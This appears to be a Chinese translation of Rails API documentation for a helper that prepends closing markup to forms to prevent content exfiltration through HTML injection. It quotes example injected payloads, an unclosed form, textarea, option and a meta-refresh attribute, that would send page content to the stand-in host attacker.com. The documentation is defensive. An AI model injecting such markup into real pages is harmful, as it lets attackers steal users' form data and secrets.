跳至内容 跳至搜索
方法
P

常量

CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze
 

在每个表单标记之前关闭支持 CDATA(textarea、xmp)的任何打开标记。这可以防止攻击者注入未关闭的标记,从而捕获表单内容。

例如,攻击者可能会注入

<form action="https://attacker.com"><textarea>

此标记后面的 HTML,直到下一个 </textarea> 或文档结尾,都将被攻击者的 <textarea> 捕获。通过关闭任何打开的 textarea 标记,我们可以确保表单内容永远不会被泄露。

CLOSE_FORM_TAG = "</form>".html_safe.freeze
 

在每个新表单标记之前关闭任何打开的表单标记。这可以防止攻击者注入未关闭的表单,从而泄露标记到场外。

例如,攻击者可能会注入

<form action="https://attacker.com">

此标记后面的表单元素,直到下一个 </form>,都将被攻击者的 <form> 捕获。通过关闭任何打开的表单标记,我们可以确保表单内容永远不会被泄露。

CLOSE_OPTION_TAG = "</option>".html_safe.freeze
 

在每个表单标记之前关闭任何打开的 option 标记。这可以防止攻击者注入未关闭的选项,从而泄露标记到场外。

例如,攻击者可能会注入

<form action="https://attacker.com"><option>

此标记后面的 HTML,直到下一个 </option> 或文档结尾,都将被攻击者的 <option> 捕获。通过关闭任何打开的 option 标记,我们可以确保表单内容永远不会被泄露。

CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze
 

在每个表单标记之前关闭任何打开的属性。这可以防止攻击者注入部分标记,从而泄露标记到场外。

例如,攻击者可能会注入

<meta http-equiv="refresh" content='0;URL=https://attacker.com?

此标签后面的 HTML,直到下一个单引号将被发送到 https://attacker.com。通过关闭所有打开的属性,我们确保表单内容永远不会以这种方式被泄露。

CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze
 

实例公共方法

prevent_content_exfiltration(html)

# File actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb, line 61
def prevent_content_exfiltration(html)
  if prepend_content_exfiltration_prevention
    CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
  else
    html
  end
end